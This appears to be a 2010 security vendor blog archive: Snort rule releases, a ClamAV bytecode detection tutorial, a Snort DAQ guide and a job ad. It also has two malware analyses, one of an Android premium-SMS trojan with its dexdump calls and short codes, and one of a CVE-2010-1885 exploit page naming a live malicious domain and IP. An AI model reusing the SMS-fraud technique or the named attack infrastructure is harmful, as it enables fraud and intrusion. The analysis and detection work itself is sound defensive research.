Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 17757 through 17764.

Microsoft Security Advisory MS10-083:
Microsoft Windows Media Player Firefox plugin contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17773.

Microsoft Security Advisory MS10-085:
Microsoft IIS contains a programming error that may allow a remote attacker to cause a Denial of Service (DoS) against an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17750.

Rule Release for Today, Monday September 27th, 2010

2010-09-27T17:08:00.000-04:00

We've added and modified multiple rules in the chat, dns, exploit, ftp, imap, misc, netbios, oracle, policy, pop3, rpc, specific-threats sql, tftp, web-activex, web-client and web-misc rule sets.

Get it: http://www.snort.org/vrt/advisories/2010/09/27/vrt-rules-2010-09-27.html

Rule Release for Today, Thursday September 23rd, 2010

2010-09-23T15:23:00.000-04:00

Microsoft .NET Framework Information Disclosure (CVE-2010-3332):
The Microsoft .NET Framework discloses enough information in error responses that an attacker is able to decrypt and modify encrypted data. The attacker is also able to forge cookies and obtain application files via an Oracle padding attack.

Get some: http://www.snort.org/vrt/advisories/2010/09/23/vrt-rules-2010-09-23.html

Rule Release for Today, Tuesday September 21st, 2010

2010-09-21T17:00:00.000-04:00

Maintenance release this one. Quite a few modifications and additions.

Check it out here http://www.snort.org/vrt/advisories/2010/09/21/vrt-rules-2010-09-21.html

Rule Release for Today, Tuesday September 14th, 2010

2010-09-14T13:47:00.000-04:00

Microsoft Security Advisory MS10-061:
The Microsoft Windows Print Spooler service contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting this vulnerability is included in this release and are identified with GID 3, SIDs 17252 and 17253.

Microsoft Security Advisory MS10-062:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17242.

Microsoft Security Advisory MS10-063:
Microsoft Windows XP and Vista contain a programming error that may allow a remote attacker to execute code on an affected system via the use of specially crafted Uniscribe fonts.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17256.

Microsoft Security Advisory MS10-064:
Microsoft Outlook contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17251.

Microsoft Security Advisory MS10-065:
Microsoft Internet Information Server (IIS) contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting this vulnerability is included in this release and are identified with GID 3, SIDs 17254 and 17255.

Microsoft Security Advisory MS10-067:
Microsoft WordPad contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17250.

Microsoft Security Advisory MS10-068:
Microsoft LSASS contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17249.

Adobe Security Bulletin APSA10-03:
Adobe Flash Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 1, SID 17257.

Check it out here: http://www.snort.org/vrt/advisories/2010/09/14/vrt-rules-2010-09-14.html

Rule Release for Today, Thursday September 9th, 2010

2010-09-09T17:38:00.000-04:00

Adobe Acrobat Reader and Adobe Acrobat contains a programming error that may allow a remote attacker to execute code on an affected system. The problem occurs when parsing TrueType font data.

More info: http://www.snort.org/vrt/advisories/2010/09/09/vrt-rules-2010-09-09.html

Rule Release for Today, Tuesday September 7th, 2010

2010-09-07T20:47:00.000-04:00

Additions and modifications to the policy, specific-threats and web-client rule sets.

Introduction to ClamAV's Low Level Virtual Machine (LLVM)

2010-09-07T20:45:00.003-04:00

Users of prior versions of ClamAV may have noticed a drastic increase in the size of the tarball with the introduction of 0.96. This is due to the addition of a bytecode interpreter, and a JIT Low Level Virtual Machine (LLVM). It greatly extends ClamAV detection capabilities by being able to interpret/execute bytecode. Not a lot of documentation exists as yet about how to write bytecode for ClamAV and take advantage of the tremendous flexibility it offers (I will try to fix that). If you want to write your own bytecode for ClamAV, you will need to configure ClamAV to allow it to load unsigned bytecode (bytecode shipped by ClamAV is digitally signed, and by default only signed bytecode is loaded).

If you already have ClamAV installed, even the latest version, you will have to remove it:

sudo make uninstall

(Alternatively you can keep your existing ClamAV installed, and just build a new ClamAV without installing it.)

Get the latest version of ClamAV here. Untar the archive and run the commands

./configure --enable-unsigned-bytecode && make && sudo make install

Note the configure option --enable-unsigned-bytecode. Without it, ClamAV will refuse to load your custom bytecode and produce this warning:

LibClamAV Warning: Only loading signed bytecode, skipping load of unsigned bytecode!

Now get the bytecode compiler by running the command

git clone git://git.clamav.net/git/clamav-bytecode-compiler

This will create a folder called clamav-bytecode-compiler that contains everything needed to compile ClamAV bytecode, including documentation in the subfolder doc (the latest compiler documentation can always be accessed here). Make sure to follow the instructions in the README file to build the compiler.

Here's a case study to see how ClamAV bytecode can come in handy (this is an integer overflow vulnerability in a old version of OpenOffice CVE-2008-2238). The vulnerability came about due to the way OpenOffice used to parse Enhanced Metafiles (EMF). The specifications for the EMF file format is available here. An EMF metafile is composed of a series of variable-length records called EMF records. An EMF record has the following format:

Offset Size Description
------------------------------------
0x0000 4 Record Type
0x0004 4 Record Size 
0x0008 N Type-Specific Data

There is a record called EMR_EXTTEXTOUTW which has the following format:

Offset Size Description
------------------------------------
0x0000 4 Record Type: EMF_EXTTEXTOUTW <0x00000054>
0x0004 4 Record Size 
0x0008 16 Bounds
0x0018 4 iGraphicsMode
0x001c 4 exScale
0x0020 4 eyScale
0x0024 N EmrText (variable)

The EmrText block has the following format:

Offset Size Description
-----------------------------
0x0000 8 Reference
0x0008 4 Chars OR nLen
0x000C 4 OffString
......

Without getting into the details of why, I'll just say that there is an integer overflow condition if the value of Chars is equal or greater than 0x80000000 bytes.

Fire up your favorite text editor and create a file called emf_CVE-2008-2238.c.

Start off by specifying the type of file you are targeting (more information about target types here):

TARGET(0)

Next we declare the .ndb style pattern we will be looking for in EMF files as we attempt to identify the ones that may be trying to leverage the vulnerability. Based on the specifications for the EMF format, the first record in the metafile is always an EMF header record (type 0x01) and 40 bytes into the record is a digital signature that must be EMF. Let's declare this signature and delimit it with the macros SIGNATURES_DECL_BEGIN and SIGNATURES_DECL_END:

SIGNATURES_DECL_BEGIN
DECLARE_SIGNATURE(emr_header)
SIGNATURES_DECL_END

The definitions are delimited by the macros SIGNATURE_DEF_BEGIN and SIGNATURES_END:

SIGNATURES_DEF_BEGIN
DEFINE_SIGNATURE(emr_header, "0:01000000{37}454d46")
SIGNATURES_END

We then define a function called logical_trigger() which is a must for bytecode that is triggered by a logical signature:

bool logical_trigger()
{
return matches(Signatures.emr_header);
}

If needed you can combine multiple signatures here with boolean and comparison operators. See the format of .ldb signatures for more details, or the compiler's documentation. In this case what this function does is return true if the emr_header signature is matched. If the function logical_trigger returns true then the fuction entrypoint is called. The function is of type int. I have attempted to explain the detection logic of the function through the embedded comments below:

/* This is the bytecode function that is actually executed when the logical signature is matched */
int entrypoint(void)
{
 uint8_t emf_exttextoutw[4] = "\x54\x00\x00\x00"; /* Header for EMF record EMR_EXTTEXTOUTW  */
 int pos=0;      /* Cursor position in file    */
 int Chars_value=0;     /* Value of the attribute Chars    */
 uint8_t Chars[4];     /* Chars attribute. See format for EmrText block */ 
 
 while (1)
 {
  /* Find a EMF record EMR_EXTTEXTOUTW */
  pos = file_find(emf_exttextoutw,4);
  
  /* If EMF record EMR_EXTTEXTOUTW cannot be found */
  if (pos == -1)
   break;
  else
  {
   /* Move the cursor 44 bytes forward, to the start of Chars     */
   seek(pos+44, SEEK_SET);
  
   /** Read Chars, which is 4 bytes long, little endian **/
          read (Chars, sizeof(Chars));     

   /*** Convert to host system's endianess. cli_readint32 is part if the ClamAV API.
   So if your system is already little endian it does nothing (just reads
   the value), and if your system is big endian it swaps the bytes. See definition
   of cli_readint32 in other.h in the libclamav folder of your ClamAV installation ***/
   int Chars_value = cli_readint32(Chars);
   
   if (Chars_value >= 0x80000000)
   {
    foundVirus("CVE-2008-2238");
    break;
   }
   else    
          {       
                  /** Advance by 1 position in the file **/
                  seek (pos+1, SEEK_SET);
          }
  }
 }
return 0;
}

Here's the code in its entirety. Use it as a template to write your own bytecode, or as an exercise, compile it and using a hex editor, create a file that will trigger this bytecode signature.

Finally, before you run off and start writing your own code, keep in mind that you are writing code in C. What I mean by that is that you can introduce buffer overflow vulnerabilities, infinite loop conditions and so on. Check, double check, heck! triple check your code before you start using it in a production environment. With that being said, ClamAV does have some measures in place to keep it from running out of control: memory accesses are bounds checked, bytecode execution has timeouts, and bytecodes are run with stack smashing protection. When either of these are detected at runtime, bytecode execution is stopped and ClamAV continues to execute normally. Still it is not guaranteed that these protections are perfect, so you should still check your code!

Rule Release for Today, Wednesday August 25th, 2010

2010-08-25T13:24:00.001-04:00

Adobe, vulnerabilities in Director, no kidding. Who would've thought that? Well, rules are out.

Check it out here: http://www.snort.org/vrt/advisories/2010/08/25/vrt-rules-2010-08-25.html

Rule Release for Today, Wednesday August 18th, 2010

2010-08-18T16:00:00.000-04:00

Maintenance release this one, some new rules, some modifications, check it out here: http://www.snort.org/vrt/advisories/2010/08/18/vrt-rules-2010-08-18.html

ClamAV Release Announcements

2010-08-16T11:06:00.000-04:00

ClamAV for Windows 2.0 has officially launched. This version contains a new GUI, numerous new detection features, a new prevention engine, and a ton of other features. Check out ClamAV for Windows 2.0 (here)

New Features Include:

New GUI - Completely new UI for a better user experience.
Community Visualization – Graphical representation of your community and an understanding of the threat landscape. Know where you, your country, and your community stand in relation to the rest of the world.
Community Notices – Stay up to date on the latest ClamAV for Windows news, emerging threats, and other relevant information.
New SPERO Engine – A new machine learning prevention and detection engine.
Enhanced companion support – Additional support of companion AV.

Not Familiar with ClamAV for Windows?
If you’re not one of the 150,000 current ClamAV for Windows 1.0 users and you have no idea what ClamAV for Windows is, here is a quick overview. It is a free real-time desktop antivirus with some really innovative and unique features.

Including but not limited to:

Fast Cloud based protections – ClamAV for Windows leverages the speed of cloud computing to deliver real-time protection to your PC
Light – ClamAV for Windows is up to 35 times lighter than traditional antivirus solutions.
Real-time – ClamAV for Windows provides cloud-based protection that is always up-to-date against viruses, spyware, bots, worms, Trojans, keyloggers without the need to download virus signatures every day.
Companionship – ClamAV for Windows is compatible with existing antivirus products to help protect you better. What is better than some extra, free protection?
Community Aware – ClamAV for Windows allows you to setup a community of friends, family, and associates that help you detect new threats in your community. Protection one, protect everyone.

Not Done Yet
ClamAV 0.96.2 has also been released, if you use ClamAV on your mail gateway, web proxy, desktop scanner, or anywhere it is time to upgrade to the latest version. Highlights of the release include:

Extended PDF parsing and extraction
Speed improvements on DB loading
Improved handling of Safebrowsing DB
Bytecode clean ups and improvements
Improved memory usage and speed improvements (40MB less than 96.1)

Numerous platform specific bugs, functionality bugs, and minor enhancements were also added. Please see the ClamAV bug tracker for complete details. Special thanks to all the users that added bugs and feature requests, we appreciate your feedback and support.

Still Not Done:
The roadmap for ClamAV for Windows 3.0 has been finalized. In November of 2010 we’ll be releasing a fully integrated version of ClamAV for Windows that contains LibClamAV. You’ll be able to use all your custom ClamAV signatures, the standard ClamAV signatures, and 3rd Party signature with ClamAV for Windows. Keep a look out for more details on ClamAV for Windows 3.0 on the VRT Blog.

Finally Done:
As always, the Sourcefire VRT appreciates your support, use, and continued involvement in the ClamAV community. If you have bugs, feature requests, or cool ideas please check out the bug tracker and open your requests here.

Malware on Android? Big deal!

2010-08-13T11:26:00.005-04:00

Malware and Google's Android OS are two of my favorite things to play with. You would think that when I heard that there was a Trojan in the wild targeting Android devices, I'd be all over it. Indeed, I was. But I was not happy because I just don't like the sound of "malware" and "Android" in the same sentence. I got a copy of the Trojan (MD5: fdb84ff8125b3790011b83cc85adce16) and proceeded to dissect it. Most Android applications are distributed in the form of Android Packages (.apk), and this was no exception. Apk files can be opened with dexdump, a tool provided by Google as part of the Android SDK. On my workstation, it's located under:

android-sdk-linux_86/platforms/android-6/tools

Let's run dexdump with the following options on the Trojan "RU.apk" and redirect the output to a file:

./dexdump -d -f -h ~/Desktop/RU.apk > ~/Desktop/out.txt

Going through the output and looking for the "onCreate" method, which is the method used to initialize activity, I found

[00083c] org.me.androidapplication1.HelloWorld.onCreate:(Landroid/os/Bundle;)V

HelloWorld?! What? Was this written by a n00b who copied the example project HelloWorld? The following was also found:

[000924] org.me.androidapplication1.MoviePlayer.onCreate:(Landroid/os/Bundle;)V

OK, MoviePlayer is the name of the application. I guess it must be some sort of movie player. This is confirmed by the presence of:

000c: const-string v2, "Нажмите ок для доступа к видеотеке" // string@0076

That is Russian for "Click OK to access the video library" (thanks Google Translate). On "create", the function DataHelper.canwe() is invoked:

00094c: 6e10 1900 0600 000c: invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;.canwe:()Z // method@0019

The function checks a SQLite DB for the presence of "was" in table1 (yes, quite an interesting way to see whether the app was run before). If the application had never been run on the device a function call is made to SmsManager.sendTextMessage:

001f: invoke-virtual/range {v0, v1, v2, v3, v4, v5}, Landroid/telephony/SmsManager;.sendTextMessage

This function call is made 3 times with short codes as the destination phone numbers: 3353, 3354 and 3353 again. The content of the each of these short messages is "798657".

So what would have happened had an unsuspecting user installed this application? The victim would have installed what appeared and pretended to be a benign application on his/her Android device. Instead of acting as a movie player the application would have sent 3 SMS messages to those short codes. This Trojan targets Russian speaking users and so the likelihood is that it is mostly going to be installed on handsets in Russia. According to Wikipedia, "the cost of the call or SMS to the short number varies from 1.2 to 300 rubles", which is between USD 0.03 and USD 9.8. The end result is that the victim wouldn't have a movie player on their handset, but would have been scammed out of money instead.

While this is certainly one of the first (or the first) Trojan found in the wild that targets Android, it's quite surprising how news outlets covered this story. The hype made it almost seem like there had never been malware targeting mobile devices before. Just a month ago, there were reports of malware affecting Symbian devices to create a botnet capable of sending SMS messages from compromised devices. Don't forget, Symbian is the top OS for phones based on market share.

In late 2009, a spyware application for BlackBerry OS called PhoneSnoop was making making the headlines. It allowed a third party to listen in on any calls on the compromised phone. Finally, let's not forget about Ikee, the iPhone worm that was "rickrolling" jailbroken devices in Australia.

As for this this Android SMS Trojan, it's been reported that it was not available for download through Google's official directory for applications called the Android Market, and so users who got infected had no business downloading .apk files from other sources. Well, some developers such as Gameloft choose not to publish their app through the Android Market for whatever reason, so you would have get their software from a location other than the Android Market. Then there is the fact that downloading an application from the Android Market does not guarantee that the application will behave exactly the way you expect based on its name and description. In fact, "Google does not intend, and does not undertake, to monitor the Products or their content" per their developer distribution agreement. Furthermore, "if Google is notified by you or otherwise becomes aware and determines in its sole discretion that a Product [...] is deemed by Google to have a virus or is deemed to be malware, spyware or have an adverse impact on Google's or an Authorized Carrier's network [...] Google may remove the Product from the Market". I think that's pretty clear and doesn't require any further explanation. What I get from this is that one should proceed cautiously if installing an application by an unknown developer from the Android Market that has been downloaded by a small number of people.

In comparing two dominant players in the mobile application arena, Google and Apple have very different approaches when it comes to how they've implemented their application stores. One leaves it up to the end users to review and comment on apps, whereas the other wants full control on what app gets approved for their store. Both sides have their share of fanboys and I am not here to determine which one is the best. I do wonder though, if from a security point of view, the best solution doesn't lie somewhere in the middle of these two approaches.

What did all this teach us? Simply that you should be aware that your smartphone is a prime target for attackers. Not only are smartphones more powerful than even the most powerful desktop computers from a few years ago, but they also provide easy access to your address book, your email accounts and social network accounts. With smartphone sales about to surpass worldwide PC sales by the end of 2011, it's not difficult to see how more vulnerabilities will be found and exploited in mobile devices, and how more malware targeting smartphones will be found in the wild. As always, we strongly recommend that you know and trust the wireless hotspot you are connecting your phone to, that you install trusted apps and that you browse trusted websites.

Rule Release for Today, Thursday August 12th, 2010

2010-08-12T17:28:00.000-04:00

Adobe, HP and Symantec products have issues, we have rules, check it out here:

http://www.snort.org/vrt/advisories/2010/08/12/vrt-rules-2010-08-12.html

Snort 2.9 Essentials: The DAQ

2010-08-12T16:58:00.000-04:00

The recently released Snort 2.9 Beta introduces the Data AcQuisition library (DAQ), for packet I/O. The DAQ replaces direct calls into packet capture libraries like PCAP with an abstraction layer that make it easy to add additional software or hardware packet capture implementations. DAQ 0.1 supports PCAP, AFPACKET, NFQ, IPQ, IPFW, and DUMP which is used for testing.

So why the change? The DAQ is essentially an abstraction layer and a suite of pluggable modules that can be selected at run-time. This makes switching from passive to inline mode easy, and not require a recompile of the snort core. Additionally, it adds AFPACKET support which makes it really easy to stand-up an inline sensor without mucking around with iptables, setting up queues, and other administrative tasks. Finally, the DAQ is modular and easy to work with, if there is some special network capture card you need to support adding a module for it is relatively straight forward.

USAGE : Building the DAQ Library and DAQ Modules

Download the DAQ from snort.org it is called daq-0.1.tar.gz
Unpack it tar -xvzf ./daq-0.1.tar.gz

Meet the following minimum requirements:

PCAP ≥ 1.0.0. PCAP 1.1.1 is available at the time of this writing and is recommended.
libdnet is required for IPQ and NFQ DAQs. If you run into any errors, check the DAQ distro README for tricks I used.
libnet is no longer required. Gone Gone Gone, and there was much rejoicing.

./configure ; make ; sudo make install

When the DAQ library is built, both static and dynamic module flavors will be generated more on "why" later. If you need to tweak certain options see configure for help, run:

./configure --help

Building Snort
Snort now needs to know where DAQ is installed on the system. If you installed it somewhere other than its default location, you'll need to add some extra switches to configure, for snort to build. If you didn't you can ignore the below, snort's configure should just find the DAQ library and build.

./configure --with-daq-includes=<inc dir>--with-daq-libraries=<lib dir>

If you install the daq-modules in a non standard place make sure your path is updated with the daq-modules location. Snort's ./configure requires running bin/daq-modules-config. This step isn't necessary if daq is installed in the default location. However ldconfig or other system specific commands may or may not need to be run.

PATH=/daq/install/prefix:$PATH

By default, snort will be built with a few static DAQ modules including PCAP, AFPACKET, and DUMP.

Once Snort is built.
To see Snort's available DAQs, run this:

snort [--daq-dir <dir>] --daq-list

The above command searches the specified directory (eg /usr/local/lib/daq) for DAQ modules and prints type, version, and attributes of each. If you just want to see the built-in modules, leave off the --daq-dir.

Output should look something like the following:

Available DAQ modules:
pcap(v2): readback live multi 
unprivnfq(v1): live inline 
multiipq(v1): live inline 
multiipfw(v1): live inline multi 
unprivdump(v1): readback live inline multi 
unprivafpacket(v1): live inline multi unpriv

You can see that 6 DAQs are available, that pcap doesn't support inline mode, that nfq and ipq don't support unprivileged operation, etc.

Configuring Snort
If everything went as planned, snort is now built with DAQ. By default Snort uses the PCAP module for reading files and for sniffing interfaces, so if that is all you do with snort you can stop reading, as it should just work.

However, if you run inline with snort keep reading as there are some new command lines switches and some new usage options.

Here is the full set of DAQ related command line and config file options:

snort [--daq <type>] [--daq-mode <mode>] 
[--daq-dir <dir>] [--daq-var <var>]
config daq: <type>
config daq_mode: <mode>
config daq_dir: <dir>
config daq_var: <var><type> 
::= pcap  afpacket  dump  nfq  ipq  ipfw<mode> 
::= read-file  passive  inline<dir> 
::= path where to look for DAQ module so's<var> 
::= arbitrary <name>=<value> passed to DAQ

Caveats:

If daq-mode is not set explicitly, -Q will force it to inline;
If daq-mode is not set explicitly, -r will force it to read-file;
The defaults daq-mode is passive.
Running -Q and --daq-mode inline are allowed, but -Q and any other DAQ mode will cause a fatal error at start-up.

USAGE
The following examples assume you have 3 Ethernet interfaces with management on eth0 and that you intend to pass traffic through your sensor between eth1 and eth2.

Using the PCAP DAQ
PCAP is the default DAQ. If snort is run w/o any DAQ arguments, it will operate as it always did using this module. This is common usage of snort, passive sniffing of an interface or reading back pcap files.

To do this you can use any of the following as they are all equivalent:

snort -i <device>
snort -r <file>
snort --daq pcap --daq-mode passive -i <device>
snort --daq pcap --daq-mode read-file -r <file>

You can also specify the buffer size PCAP if you need to, using:

snort --daq pcap --daq-var buffer_size=<#bytes>

NOTE - The PCAP DAQ does not count filtered packets.

Using the AFPACKET DAQ
AFPACKET is the easiest way to setup an inline sensor, additionally it has better performance than the standard PCAP interfaces.

To use AFPACKET in passive mode:

snort --daq afpacket -i <device> 
[--daq-var buffer_size_mb=<#MB>] 
[--daq-var debug]

If you want to run AFPACKET in inline mode, you must set device to one or more interface pairs, where each member of a pair is separated by a single colon and each pair is separated by a double colon. There is not need to configure a QUEUE or Bridge with AFPACKET you need to up the interfaces and give snort the correct command line.

Syntax for inline pairs

eth0:eth1

eth0:eth1::eth2:eth3

Running inline Snort

ifconfig eth1 promisc up
ifconfig eth2 promisc up
snort --daq afpacket -i eth1:eth2 -Q -c snort.conf

By default, the AFPACKET DAQ allocates 128MB for packet memory. You can change the allocation using the buffer_size_mb daq-var. See README.daq for the gory details of that calculation.

Closing
Hopefully that is enough to get you going. See the DAQ distro README as well as Snort's README.daq for more information.

We have already received some positive feedback as well as some pointers on what needs fixing in the beta. Keep the feedback coming and we'll ensure a solid 2.9.0 rollout. Send bugs / features / etc to "bugs <at> snort.org" or join the Snort-Devel and Snort-Users mailing lists and post your thoughts there.

Quick analysis of a webpage leveraging CVE-2010-1885 (aka the help and support center vulnerability)

2010-08-10T17:06:00.002-04:00

In a previous blog post I was writing about an increase in attacks against an at the time, un-patched vulnerability. Microsoft patched it on July 13, which doesn't mean that people aren't still trying to own un-patched machines.

goodgirlsbadguys.com (213.155.12.144) is a domain registered on July 19 2010 with a registrant address listed in Cambodia. Visiting a particular webpage for that domain (trust me and don't go there...despite the name there is nothing juicy on this domain except pwnage) returns a URL as part of an iframe. Microsoft Help and Support Center is invoked with a few parameters, one of which is the URL obtained earlier:

Pic.1: Help and Support Center

Notice the use of the keyword "crimepack" in the hcp:// request.

In a randomly named file (in this case, "bat.vbsautba" in c:\Documents and Settings\user\Local Settings\Temp the following html can be found:

Pic.2: Dropped file with random name

Later, the command line utility is invoked with the following parameters:

Pic.3: cmd.exe called to run script...and kill Windows Media Player

The script that is executed is called D.vbs:

Pic.4: D.vbs

Snort detects this Windows Help Center escape sequence cross-site scripting attempt with sid 16665:

08/09-11:26:49.588645  [**] [1:16665:3] WEB-CLIENT Microsoft Windows Help Centre escape sequence XSS attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 213.155.12.144:80 -> 10.11.250.196:107608/09-11:26:49.588645 0:1E:13:F0:2E:19 -> 0:C:29:21:50:D5 type:0x8100 len:0x59E213.155.12.144:80 -> 10.11.250.196:1076 TCP TTL:59 TOS:0x0 ID:11527 IpLen:20 DgmLen:1420 DF

ClamAV has got you covered as well with BC.Exploit.CVE_2010_1885.

Rule Release for Today, Tuesday August 10th, 2010

2010-08-10T15:31:00.001-04:00

Microsoft Security Advisory MS10-046:
Microsoft Windows Shell contains a vulnerability that may allow a remote attacker to execute code on an affected system.

Previously released rules to detect attacks targeting these vulnerabilities have been updated with the appropriate reference and are included in this release. These are identified with GID 1, SIDs 17042 and 17043.

Microsoft Security Advisory MS10-050:
Microsoft Windows Movie Maker contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17135.

Microsoft Security Advisory MS10-051:
The Microsoft MSXML2 ActiveX control contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17133.

Microsoft Security Advisory MS10-052:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17117.

Microsoft Security Advisory MS10-053:
Microsoft Internet Explorer contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17115.

Microsoft Security Advisory MS10-054:
The Microsoft implementation of SMB contains programming errors that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17125 through 17127.

Additionally, a previously released rule will also detect attacks targeting these issues and is identified with GID 3, SID 16577.

Microsoft Security Advisory MS10-055:
Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17128.

Microsoft Security Advisory MS10-056:
Microsoft Office Word contains programming errors that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17119 through 17124.

Microsoft Security Advisory MS10-057:
Microsoft Office Excel contains programming errors that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting these issues is included in this release and is identified with GID 3, SID 17134.

Microsoft Security Advisory MS10-060:
Microsoft Silverlight contains a programming error that may allow a remote attacker to execute code on an affected system.

Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17113 and 17114.

Microsoft Security Advisory MS10-061:
Microsoft .NET contains a programming error that may allow a remote attacker to execute code on an affected system.

A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17115.

Check out the changelogs here: http://www.snort.org/vrt/advisories/2010/08/10/vrt-rules-2010-08-10.html

Rule Release for Today, Tuesday August 3rd, 2010

2010-08-03T18:13:00.000-04:00

Added and modified multiple rules in the exploit, ftp, imap, mysql, netbios, rpc, specific-threats, sql, web-activex, web-client, web-iis, web-misc and web-php rule sets.

Check here for details: http://www.snort.org/vrt/advisories/2010/08/03/vrt-rules-2010-08-03.html

Sourcefire VRT DI is Hiring

2010-07-22T18:05:00.000-04:00

Here's your chance to become part of the Intelligence unit that powers the Vulnerability Research Team. We know all, we see all and we say almost nothing to anyone about anything. Kinda. Alright, not really. We get the data, we manage the data, we mine the data, we give out information and actionable intelligence. In short, we separate the intel from the noise.

You may have seen our previous post regarding our expansion plans. This position is part of that grand scheme. As such, the following 10 things from the previous post still apply. If they appeal to you and describe the qualities you want in your co-workers and your workplace, then the VRT is interested in talking with you. Please submit your resume on Sourcefire's website or send us a message at research@sourcefire.com

Submit Resume here

Passion (for the work) - Very few people are trained academically for vulnerability analysis, malware analysis, network engineering, or hacking. It is something that is learned by experience and experimentation. If you have dedicated your free time and lost countless days and nights perfecting some portion of it then you have the passion I'm talking about.

Good people - If you enjoy an environment where everyone around you is better than you at something and is willing to teach you their skill in exchange for your own, then the VRT might be the right place for you.

Goals - Clear definitions of strategic goals to the best of my ability and my managers' abilities. If we can't clearly explain the "why" then we won't ask you to waste your time on it.

Belief - A group of people that share an intrinsic belief that it is possible to accomplish difficult, if not "currently" impossible, goals. More importantly, this belief is present not because of arrogance, but because of our experience proving that we actually can accomplish these goals.

Drive - A personal drive that exceeds the average. If you've worked on a problem for many months, still haven't solved it, but truly believe you will shortly, you are either hard headed or have a lot of drive. Whether you're pushing yourself by hitting your head on a wall, or just plain never giving up, you will most likely create a positive outcome.

Latitude - If you hate rules but understand personal responsibility, this might be the environment for you. You'll get just enough rope to hang yourself, as long as you take responsibility for your own demise.

Trust - An environment were you can trust the people you work with to actually do what they say, do it to the best of their ability, and trust you to do the same.

Responsibility - For your actions and your words. If you broke it, you fix it. If you said you would do it, do it.

Risk - An environment where you are allowed to take risks in the pursuit of goals. Risk is the potential to fail and without failure there is no opportunity to learn. You will be able to take risks as long as you sign up for the responsibility of failing.

Leadership - You expect the people above you to actually lead, and trust them enough to actually follow them.

If these ten things fit your personality, and describe the place you want to work, please see the job description below. When submitting your resume please include either a comment or something in your actual resume that references the fact that you read this post.

Title: Research Systems Engineer

Basic Purpose

This role is primarily responsible for developing database applications, supporting the Vulnerability Database that is part of Sourcefire RNA, research to support current detection systems, research into new detection systems and methods, research into data mining and internal tool development.

Essential Duties and Responsibilities

Administration of various backend systems.
Support Vulnerability database building and administration
Conduct research into new detection mechanisms
Conduct research into existing detection mechanisms and improve them
Script like a maniac
Develop cool tools

Essential Education, Skill, and Environment Education and Work Experience

Experience is probably your biggest asset
Bachelors degree (or higher) will at least show us you can achieve a long term goal
Ability to apply Ohms law under duress is an advantage
Must believe that Leibniz stole Newton's ideas for Calculus
The desire to gain knowledge is key
Experience designing user interfaces for web, scripts, cli etc. is a plus

Required Knowledge and Skills

Experience with SQL databases, MySQL, PostGRES etc.
Experience designing SQL databse schemas
Experience configuring Windows and Linux/UNIX applications
Strong analytical and troubleshooting skills
Experience with TCP/IP, IPv6 and IPv4 networking in general
Be able to script in PERL, Python, and/or Ruby
Ability to learn new skills and apply them in a rapidly changing, high-pressure environment
Can solve complex technical problems in a non-Rube Goldberg fashion
Desire to perform research activities, stretch some boundaries, kick down doors, take names and conquer

Preferred Knowledge and Skills

Highly motivated and creative
Experience with Snort & other network security tools
Experience with network configuration and deployment
Experience with PCRE or equivalent regular expression library

Work Conditions

Moderate to high levels of stress will occur at times
Fast paced and rapidly changing environment
Extremely talented and experienced team members and mentors
No special physical requirements
Constant internal training, drinking games, and heated discussions

Rule Release for Today, Thursday July 22nd, 2010

2010-07-22T15:19:00.002-04:00

Two main vulnerabilities covered in this release. Microsoft Windows Shell shortcut vulnerability (CVE-2010-2568) and the Siemens Simatic WinCC and PCS 7 SCADA vuln (CVE-2010-2772). Both of these are being actively used by the Stuxnet worm.

More details are available here: http://www.snort.org/vrt/advisories/2010/07/22/vrt-rules-2010-07-22.html

Innovation -- You Keep Using That Word...

2010-07-20T21:15:00.005-04:00

So, this week, the OISF has been on a media blitz about Suricata, their open-source Intrusion Detection System. As always, my preference is for you to review the information yourself, so before I give you my thoughts about the state of Suricata, here are some links:

http://www.computerworld.com/s/article/9179436/DHS_vendors_unveil_open_source_intrusion_detection_engine?taxonomyId=82
http://www.darkreading.com/smb-security/security/intrusion-prevention/showArticle.jhtml?articleID=225900192&cid=nl_DR_DAILY_2010-07-20_h
http://www.openinfosecfoundation.org/

When I talked to Matt Jonkman about Suricata this past December, I was excited. He talks a good game and his pitch of Suricata as a "Next Generation Intrusion Detection and Prevention Engine" was catching. It is always good to step outside the box and take a good hard look at how any industry is approaching things and innovation is always welcome. The fact that Suricata is Open Source and driven by government money meant that the innovation would be available and easily ported to Snort, helping not just Suricata users, but Snort users as well. To me, it looked win-win all the way.

